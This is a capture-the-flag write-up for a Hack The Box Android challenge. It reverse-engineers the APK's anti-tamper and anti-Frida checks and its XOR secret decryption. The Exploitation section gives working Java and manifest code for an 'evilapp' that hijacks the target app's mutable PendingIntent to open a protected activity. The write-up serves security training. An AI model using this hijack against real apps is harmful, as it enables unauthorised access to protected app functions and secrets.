# HTB | Waiting

Machine - <https://app.hackthebox.com/challenges/454>

File - app-release.apk

**Skill Learned**

* Learn more about exploiting mutable Pending Intents.
* Learn how to develop custom APKs for automating the exploitation process.

## Enumeration

### Running the application

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Fm45na7XIjjNh6q2J7T8A%2Fimage.png?alt=media&#x26;token=b885ea6c-fc79-4a47-8bb8-8ba6db5d91d0" alt=""><figcaption></figcaption></figure>

On clicking on the `Generator` button we get a page for entering information

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FvyJlAyOEJMYJRGLUESCu%2Fimage.png?alt=media&#x26;token=34dae682-ff72-41a9-a3df-b6a906862f8c" alt=""><figcaption></figcaption></figure>

After filling up the details, we get the token

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FotzcIeFBLnPWsg3JwnMF%2Fimage.png?alt=media&#x26;token=95033a07-3962-408f-b6ef-e78562ea1df6" alt=""><figcaption></figcaption></figure>

### Analysing the Source code

#### Native Library

On checking the code, we found the native library being loaded in `MainActivity`

```jsx
    static {
        System.loadLibrary("native-lib");
    }
```

* This is a **static block**, executed when the class is loaded.
* `System.loadLibrary("native-lib")` loads a **native shared library.**
* The name passed does **not include** the `lib` prefix or file extension; the JVM handles that based on the OS.

We found the `libnative-lib.so` in Resources/lib/x86\_64/

We have also found `libsecrets.so` which is being called in `SecretActivity`

There is a creation of a `Pending Intent` in `MainActivity`

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Fj89wjIbVv5Ba46X4CIcg%2Fimage.png?alt=media&#x26;token=cd147623-f603-4834-aed6-08415699131f" alt=""><figcaption></figcaption></figure>

> In Android, a `PendingIntent` is a token that you can give to another application or the Android system to perform an action on your behalf. It's often used in scenarios where you want to delegate an action to be performed in the future, even if your application is not running.
>
> Refer below article for better understanding
>
> * <https://valsamaras.medium.com/pending-intents-a-pentesters-view-92f305960f03>
> * <https://medium.com/androiddevelopers/all-about-pendingintents-748c8eb8619>

#### MenuActivity

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FKv0cMpmiUQXjWlXbXT0Z%2Fimage.png?alt=media&#x26;token=7b6a0790-2dde-49a8-8f4a-9b7b0743ce58" alt=""><figcaption></figcaption></figure>

`onCreate()` method sets up the UI and handles a secret code path based on an intent extra:

If `Secret == true`:

* Runs `c.a(this)`, which performs:
  * **DEX checksum verification**
  * **Signature verification**
  * **Package name verification**
* If all checks pass:
  * It **launches `SecretActivity`**
* If a custom exception `a.C0031a` is thrown (likely from failing those checks):
  * The app **closes after 5 seconds**

If `Secret == false` (normal flow):

* Shows a UI with input fields:
  * Name, surname, email, password
  * Three checkboxes (possibly representing age categories or consents)

#### Analysing MenuActivity.smali

```jsx
    move-result-object p1

    const-string v0, "Secret"

    const/4 v1, 0x0

    invoke-virtual {p1, v0, v1}, Landroid/content/Intent;->getBooleanExtra(Ljava/lang/String;Z)Z

    move-result p1

    if-eqz p1, :cond_0

    :try_start_0
    invoke-static {p0}, Lcom/example/waiting/utils/c;->a(Landroid/content/Context;)V

    new-instance p1, Landroid/content/Intent;

    const-class v0, Lcom/example/waiting/SecretActivity;

    invoke-direct {p1, p0, v0}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
```

Let’s break down the code

```jsx
invoke-virtual {p1, v0, v1}, Landroid/content/Intent;->getBooleanExtra(Ljava/lang/String;Z)Z
move-result p1
if-eqz p1, :cond_0
```

Checks if the **Intent extra `"Secret"` is true**, and only then proceeds to:

```
invoke-static {p0}, Lcom/example/waiting/utils/c;->a(Landroid/content/Context;)V
new-instance p1, Landroid/content/Intent;
const-class v0, Lcom/example/waiting/SecretActivity;
invoke-direct {p1, p0, v0}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
```

So if `Secret == true`, it:

1. Runs anti-tamper check: `c.a(context)`
2. Creates an intent for `SecretActivity`

Since there are anti-tampering checks in place, even if we patch the app, it will not display the secret, thanks to the anti-tampering checks!

#### Anti-Tampering Check: `c.a(context)`

The method `c.a(Context context)` performs multiple integrity checks:

```jsx
public static void a(Context context) {
    long parseLong = Long.parseLong(context.getResources().getString(R.string.dex_crc));
    String string = context.getResources().getString(R.string.sign_md5);
    String string2 = context.getResources().getString(R.string.pck);
    
    b.a.a.a aVar = new b.a.a.a(context);
    aVar.a(parseLong);   // check DEX CRC
    aVar.a(string2);     // check package name
    aVar.b(string);      // check signing cert MD5
    aVar.a(true);        // enable checks?
    aVar.b(false);       // maybe disable debug mode?
    aVar.b();            // actually perform the checks
}
```

This means:

* **DEX CRC** is validated.
* **App signature (MD5)** is verified.
* **Package name** is checked.
* Then `aVar.b()` likely throws an exception (probably `a.C0031a`) if any check fails.

And if it fails? It triggers this code:

```jsx
new Handler().postDelayed(() -> {
    MenuActivity.this.k();  // calls finishAndRemoveTask(); System.exit(0);
}, 5000);
```

Therefore, it is actively terminating the app if tampering is detected.

### Decompiling the library

#### libnative-lib.so

there is a function to detect Frida (part of anti-tampering ?)

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F9bcRbikgxDmWtCYFSVb0%2Fimage.png?alt=media&#x26;token=1c9ec625-e286-457f-8478-b5fc6cdf6926" alt=""><figcaption></figcaption></figure>

**detectfrida**

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F18C9f9FShPFCGpT1AidU%2Fimage.png?alt=media&#x26;token=0bb6b2ac-2c0f-4e9b-a344-940e2a9c9f79" alt=""><figcaption></figcaption></figure>

It is probably typical anti-Frida logic:

* Calling `syscall()` to **open and read `/proc/self/maps`**
* Looking for:
  * Presence of suspicious libraries like `frida-agent.so`, `libfrida-gadget.so`
  * Memory mappings with `[rwxp]` (read-write-execute) flags — Frida does this
* Checking ELF headers or memory protections manually
* Printing log messages like `"No executable section found. Suspicious"` if anomalies are found
* Possibly terminating the app or triggering a silent failure

#### [libsecrets.so](http://libsecrets.so)

There is a function `Java_com_example_waiting_Secrets_getdxXEPMNe` which is heavily obfuscated, but it's likely responsible for **decrypting a secret string** or key at runtime.

This function is used to return a decoded string (likely a secret like an API key, encryption key, or flag) by **XOR'ing two arrays of bytes** (probably encrypted data and a key). The function is called from Java via JNI.

**Decryption Logic**

The core loop of the function:

```
bVar2 = *local_338[lVar6];  // Encrypted byte
bVar1 = *local_1b8[lVar6];  // Key byte
<--SNIP-->
<--SNIP-->
*(byte *)((long)pvVar3 + uVar7) = bVar2 ^ bVar1;
```

It XORs two arrays:

* `local_338`: Encrypted data
* `local_1b8`: XOR key

So:

```jsx
decrypted_byte = encrypted_byte ^ key_byte;
```

## Exploitation

Since we can't use Frida (because of anti-tampering), we can create an app that will trigger the intent and BroadcastReceiver from our test app to the waiting (main app) app and get the flag or secret.

* First, we need to create and register a receiver in the evil app
* Edit `AndroidMainfest.xml` and `build.gradle.kts` (which is in evilapp\app)
* Install the evil app on the emulator.
* Disable USB debugging
* Open the Waiting app and do not click on the Menu button
* Send the app in the background
* Open the evil app and wait. The SecretActivity will appear with the secret flag displayed.

### **MainActivity.java**

```jsx
package com.example.evilapp;

import static android.content.ContentValues.TAG;

import androidx.appcompat.app.AppCompatActivity;

import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Handler;
import android.util.Log;

public class MainActivity extends AppCompatActivity {

    public static class MyReceiver extends BroadcastReceiver{

        @Override
        public void onReceive(Context context, Intent intent) {
            PendingIntent fromOtheApp = (PendingIntent)
                    intent.getParcelableExtra("com.example.waiting.INTENT");
            //System.out.println("Intent Recieved");
            Log.d(TAG, "Intent Received");
            if (fromOtheApp != null){
                Runnable theTimeHasCome = new Runnable() {
                    @Override
                    public void run() {
                        try {
                            //System.out.println("Broadcast activated");
                            Log.d(TAG, "Broadcast activated");
                            Intent HijackIntent = new Intent();
                            HijackIntent.putExtra("Secret",true);
                            fromOtheApp.send(context.getApplicationContext(),0,HijackIntent,null,null);
                            //System.out.println("Pending Intent Send");
                            Log.d(TAG, "PendingIntent Sent");
                        }catch (PendingIntent.CanceledException e){
                            //e.printStackTrace();
                            Log.e(TAG, "PendingIntent failed to send", e);
                        }
                    }
                };
                (new Handler()).postDelayed(theTimeHasCome,5000);
            }
            //else System.out.println("You shouldn't have come here");
            else Log.d(TAG, "You shouldn't have come here");
        }
    }
}
```

This is a Java class (`MainActivity`) in the package `com.example.evilapp`. Inside it, there's a **static inner class** `MyReceiver` that extends `BroadcastReceiver`.

This receiver is designed to:

1. **Receive a broadcast** from another app.
2. **Extract a `PendingIntent`** from the received `Intent`.
3. After a 5-second delay, it **triggers the `PendingIntent`** with a new `Intent` carrying custom data (`"Secret": true`).

#### **Key Components**

1. `BroadcastReceiver: MyReceiver`

This is a component that listens for system-wide or custom app-specific broadcasts.

```
PendingIntent fromOtheApp = (PendingIntent)
    intent.getParcelableExtra("com.example.waiting.INTENT");
```

* It **extracts a `PendingIntent`** from the broadcasted `Intent` using the key `"com.example.waiting.INTENT"`.

2. `Runnable theTimeHasCome`

A `Runnable` is defined and posted to a `Handler` (i.e., executed after a 5-second delay).

```jsx
Intent HijackIntent = new Intent();
HijackIntent.putExtra("Secret",true);
fromOtheApp.send(context.getApplicationContext(),0,HijackIntent,null,null);
```

* This code **sends the hijacked `PendingIntent`** using a **custom `Intent`** that includes extra data (`"Secret": true`).
* The use of `PendingIntent.send()` allows the app to **impersonate or control another app’s logic** if the original `PendingIntent` allows it.

### Build.gradle.kts / AndroidManifest.xml

* change `targetSdk = 25`
* Add the below receiver in AndroidManifest.xml

```jsx
        <receiver android:name=".MainActivity$MyReceiver"
            android:exported="true"
            android:enabled="true">
            <intent-filter>
                <action android:name="com.example.waiting.RECEIVED" />
            </intent-filter>
        </receiver>
```
